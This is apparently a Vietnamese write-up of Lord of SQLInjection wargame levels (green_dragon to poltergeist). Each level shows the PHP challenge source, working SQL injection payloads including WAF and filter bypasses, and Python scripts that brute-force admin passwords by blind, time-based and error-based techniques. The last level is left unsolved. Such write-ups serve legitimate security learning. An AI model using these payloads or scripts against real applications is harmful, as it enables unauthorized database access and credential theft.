if "<tr><th>id</th><th>email</th><th>score</th><tr><td>admin" in r.text:
email+=j
break
print("complete, email= "+email)
```
Kết quả: `email=aasup3r_secure_email@emai1.com`
## green_dragon
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
$query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
$result = mysqli_fetch_array(mysqli_query($db,$query2));
if($result['id'] == "admin") solve("green_dragon");
}
highlight_file(__FILE__);
?>
```
Bài nhận vòa 2 tham số `id` và `pw`, sau đó kết quả trả về của câu truy vấn qua 1 lớp filter nữa rồi được đưa tiếp vào 1 truy vấn nữa, nếu kết quả trả về là `admin` thì solve.
Đâu tiên ta nghĩ đến việc dùng `\` để loại bỏ `'` và dùng tiếp union. Do không được dùng `'` ta có thể chuyển qua hex hoặc dùng hàm `char()`
payload: `a\&pw=union select 0x5c,0x756e696f6e2073656c656374203078363136343664363936653b2d2d202d;-- -`
## red_dragon
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
if(strlen($_GET['id']) > 7) exit("too long string");
$no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
$query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
$query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['no'] === $_GET['no']) solve("red_dragon");
highlight_file(__FILE__);
?>
```
Bài nhận vào 2 tham số `id` với độ dài không vượt quá 7 và `no` phải là số (được kiểm tra qua `is_numeric()`).
Khi nhập `id='||no;%23` thì xuất hiện `Hello admin`
Việc bây giờ là cần tìm `no` tuy nhiên `id` chỉ 7 ký tự và tối đa là `id='||no>%23`. Vậy lợi dùng `no` phía sau để so sánh, cụ thể là cho nó xuống dòng: `?id='||no>%23&no=%0a1`, khí đó là nó đang so sánh với 1 và kết quá đúng vì trả về `Hello admin`. Vậy tiếp tục fuzz và biết được:
100000000<`no`<1000000000.
Cứ dò như vậy hoặc script (khá giống thuật toán tìm kiếm nhị phân):
```
import requests
url = 'https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php'
cookies= {
"PHPSESSID":"tacpsf7m0d1vljqep5s9bu6tg2"
}
# 100000000<no<1000000000
min=100000000
max=1000000000
while True:
tb=(min+max)//2
payload="?id='||no>%23&no=%0A{}".format(tb)
r=requests.get(url=url+payload,cookies=cookies)
if min==max-1:
print("complete,no= {}".format(tb+1))
break
if "Hello admin" in r.text:
min=tb
print("no= {}".format(tb))
continue
max=tb
```
Kết quả: `no=586482014`
## blue_dragon
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
highlight_file(__FILE__);
?>
```
Bài nhận vào `id` và `pw` và dựa vào đó tìm `pw` của `admin`. Các tham số bị filter `'` và `\`. Tuy nhiên ở bài này câu truy vấn được thực thi trước khi xử lý -_- Vậy ta có thể dùng time based để brute-force pw:
```
import requests,string,time
LETTERS=string.digits+string.ascii_letters
url = 'https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php'
cookies= {
"PHPSESSID":"tacpsf7m0d1vljqep5s9bu6tg2"
}
pw=''
for i in range(1,9):
for j in LETTERS:
payload="?id=admin' and if(ascii(substring(pw,{},1))={},sleep(5),0)%23".format(i,ord(j))
start=time.time()
r=requests.get(url=url+payload,cookies=cookies)
end=time.time()
if end-start>5:
pw+=j
break
print("[{}] pw={}".format(i, pw+j))
print("complete, pw={}".format(pw))
```
Kết quả: `pw=d14fbWav`
## frankenstein
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit("error");
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
highlight_file(__FILE__);
?>
```
Bài nhận vào tham số `pw` và bị filter `(`,`)`,`union`. Để solve thì cần tìm `pw` của `admin`. Như vậy không burte-force bằng các hàm như `substr`,... nên ta nghĩ đến việc dùng like `x%`. Bài này có lỗi trả về `mysqli_error($db)` dựa vào đây ta tìm cách trả về lỗi đó là cho nó thực hiện ra một kết quả lớn mà sql không xử lý được (ví dụ như `0xFFFFFFFFF*0xFFFFFFFFF`) qua điều kiện kiểm tra:
```
import requests,string
LETTERS=string.digits+string.ascii_letters
url = 'https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php'
cookies= {
"PHPSESSID":"a3ijdj2snnegst00820p9hsas7"
}
pw=''
for i in range(1,9):
for j in LETTERS:
payload="?pw=' or case when id='admin' and pw like '{}%25' then 0xFFFFFFFFF*0xFFFFFFFFF else 0 end%23".format(pw+j)
r=requests.get(url=url+payload,cookies=cookies)
print("pw={}".format(pw+j))
if "include" in r.text:
continue
if "error" in r.text:
pw+=j
break
print("complete, pw={}".format(pw))
```
Kết quả: `pw=0dc4efbb`
## phantom
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect("phantom");
if($_GET['joinmail']){
if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
$query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
mysqli_query($db,$query);
echo "<hr>query : <strong>{$query}</strong><hr>";
}
$rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
while(($result = mysqli_fetch_array($rows))){
if($result['no'] == 1) $result['email'] = "**************";
echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
}
echo "</table>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
highlight_file(__FILE__);
?>
```
Bài nhận vào tham số `joinmail` và nó được đưa vào câu truy vấn insert để tạo 1 hàng mới có `ip` là địa chỉ ip của bạn và `email` là `joinmail` và nó bị filter từ `duplicate`. Nhiệm vụ ở đây là tìm email bị che.
Bài này không có filter gì đặc biệt vì vậy ta có thể inject thêm giá trị khác bằng payload:
`?joinmail=12345'), (2,'{IP}',(select email from prob_phantom as p where no=1))%23`

Kết quả: `email=admin_secure_email@rubiya.kr`
## ouroboros
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");
highlight_file(__FILE__);
?>
```
Bài có in ra kết quả truy vấn nên nghĩa ngay đến `union` vì không bị filter gì.
Khi dùng : `pw=1' union select 1;%23` thì in ra `Pw : 1`
SQL Quine
payload:`?pw=1%27%20union%20SELECT%20REPLACE(REPLACE(%271"%20union%20SELECT%20REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")%20AS%20Quine%23%27,CHAR(34),CHAR(39)),CHAR(36),%271"%20union%20SELECT%20REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")%20AS%20Quine%23%27)%20AS%20Quine%23`
cre:https://mandu-mandu.tistory.com/342
## zombie
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect("zombie");
if(preg_match('/rollup|join|ace|@/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select pw from prob_zombie where pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("zombie");
highlight_file(__FILE__);
?>
```
Bài này dùng `union` nhưng vấn đề không thể truy xuất ra giá trị `pw` mặc dù có được tên bảng, cột.
Ta sửu dụng bảng khác là `INFORMATION_SCHEMA.PROCESSLIST`.
Nếu `pw='union select info from information_schema.processlist%23` thì kết quả được `select pw from prob_zombie where pw=''union select info from information_schema.processlist#'` nghĩa là nó hiện thị ra câu truy vấn đó và nhiệm vụ là dùng `substr` cắt chuỗi cho phù hợp.
Giá trị cắt bắt đầu là 38 và giá trị thứ 2 là độ dài.
Payload: `'union select substr(info,38,72) from information_schema.processlist-- -`

## alien
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i', $_GET['no'])) exit("No Hack ~_~");
$query = "select id from prob_alien where no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$query2 = "select id from prob_alien where no='{$_GET[no]}'";
echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
if($_GET['no']){
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] !== "admin") exit("sandbox1");
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] === "admin") exit("sandbox2");
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") exit("sandbox");
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") solve("alien");
}
highlight_file(__FILE__);
?>
```
Bài nhận vào tham số `no` và filter `/admin|and|or|if|coalesce|case|_|\.|prob|time/i`
Và đưa nó vào 2 câu sql, điểm khác nhau giữa 2 câu là câu truy vấn thứ 2 có nháy đơn kẹp vào `''`.
Khi dùng `no=-1 union select 0x61646d696e %23` thì kết quả trả về là **sandbox2** như vậy là qua được if thứ nhất nhưng lại vào if thứ 2.
Làm sao để `$r['id']` lúc thì bằng `admin` lúc thì không. Kết quả trả về từ truy vấn cần 1 thời gian ngắn vậy trong thời gian ngắn ấy ta có thể thay đổi được giá trị.
https://mandu-mandu.tistory.com/344
## cthulhu
Source:
```
<?php
include "./welcome.php";
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("cthulhu");
highlight_file(__FILE__);
?>
```
https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1181
Payload: `?id=-1'<@=1 OR {a 1}=1 OR '`
## death
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("death");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
```
Dùng payload như bài trước : `-1'<@=1 OR {a 1}=1 OR '` được kết quả:

Dùng thêm limit:
`?id=-1'<@=1 OR {a 1}=1 OR '' limit 1,1;-- -`
## godzilla
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla");
highlight_file(__FILE__);
?>
```
Bài này vẫn dùng WAF như 2 bài trên
Với payload: `?id=-1'<@=1 OR 1=1;-- -` thì trả về **Hello admin**.
Từ đó có điều kiện để brute-force `pw`.
Với `?id=-1'<@=1 OR length(pw)=8;-- -` kết quả là **Hello admin** như vậy length của `pw` là 8.
Script:
```
import requests
url='https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php'
cookies= {
"PHPSESSID":"13jf4p413r85l8igc4rg6cc8hc"
}
pw=''
for i in range(1,9):
for j in range(48,123):
payload="?id=-1'<@=1 OR ASCII(substr(pw,{},1))={};-- -".format(i,j)
r=requests.get(url=url+payload, cookies=cookies)
print("pw: "+pw+chr(j))
if "Hello admin" in r.text:
pw+=chr(j)
break
```
Kết quả: `pw=a18a6cc5`
## cyclops
Source:
```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select
highlight_file(__FILE__);
?>
```
Để giải bài này ta cần thực thi được kiểu như `union select 'first', 'second'`.
Payload: `?pw='<@=1 UNION/**/SELECT 'first','second`
## chupacabra
Source:
```
<?php
include "./config.php";
login_chk();
$db = sqlite_open("./db/chupacabra.db");
$query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id'] == "admin") solve("chupacabra");
highlight_file(__FILE__);
?>
```
Bài yêu cầu trả về kết quả `admin`
Payload: `?id=1' or '1'='1' limit 1,1;-- -`
## manticore
Source:
```
<?php
include "./config.php";
login_chk();
$db = sqlite_open("./db/manticore.db");
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id'] == "admin") solve("manticore");
highlight_file(__FILE__);
?>
```
Bài này dùng `addslashes` để add `\` vào 1 số ký tự.
Payload: `?id=1' or id=char(97,100,109,105,110)-- -`
Bời vì trong **SQLite**, ngay cả khi `\` được thêm vào, nó không được nhận dạng là một chuỗi thoát.
## banshee
Source:
```
<?php
include "./config.php";
login_chk();
$db = sqlite_open("./db/banshee.db");
if(preg_match('/sqlite|member|_/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id']) echo "<h2>login success!</h2>";
$query = "select pw from member where id='admin'";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['pw'] === $_GET['pw']) solve("banshee");
highlight_file(__FILE__);
?>
```
Với payload đơn giản `?pw=1' or 1=1;--` thì trả về **login success!**. Từ đó ta brute-force `pw`:
```
import requests
import string
LETTERS=string.ascii_letters+string.digits
url='https://los.rubiya.kr/chall/banshee_ece938c70ea2419a093bb0be9f01a7b1.php'
cookies= {
"PHPSESSID":"13jf4p413r85l8igc4rg6cc8hc"
}
pw=''
for i in range(1,9):
for j in LETTERS:
payload="?pw=1' or unicode(substr(pw,{},1))={} and id='admin';--".format(i,ord(j))
r=requests.get(url=url+payload, cookies=cookies)
print("pw: "+pw+j)
if "login success!" in r.text:
pw+=j
break
```
Nếu không có `and id='admin'` sẽ trả về `pw` của guest.
Kết quả: `pw=0313091b`
## poltergeist
Source:
```
<?php
include "./config.php";
login_chk();
$db = sqlite_open("./db/poltergeist.db");
$query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
if($poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
highlight_file(__FILE__);
?>
```
Muốn giải được bài này thì cần biết `$poltergeistFlag` theo như bài thì nó nằm trong bảng `flag_{$hash}`, vậy ta nghĩ đến `union`.
Với payload: `?pw=1' union select 1;-- -` thì kết quả `Hello 1`.
Ta truy xuất tên bảng bằng payload: `?pw=1' union select tbl_name FROM sqlite_master;-- -` được **flag_70c81d99**.
Ta truy xuất tiếp tên cột bằng payload: `?pw=1' union select sql FROM sqlite_master where name='flag_70c81d99';-- -` được **flag_0876285c**.
Từ đó ta lấy giá trị cột đó bằng payload:`?pw=1' union select flag_0876285c FROM flag_70c81d99;-- -` được **FLAG{ea5d3bbdcc4aec9abe4a6a9f66eaaa13}** và đưa `pw` bằng giá trị này là oke.
## nessie

:((( bị lỗi ò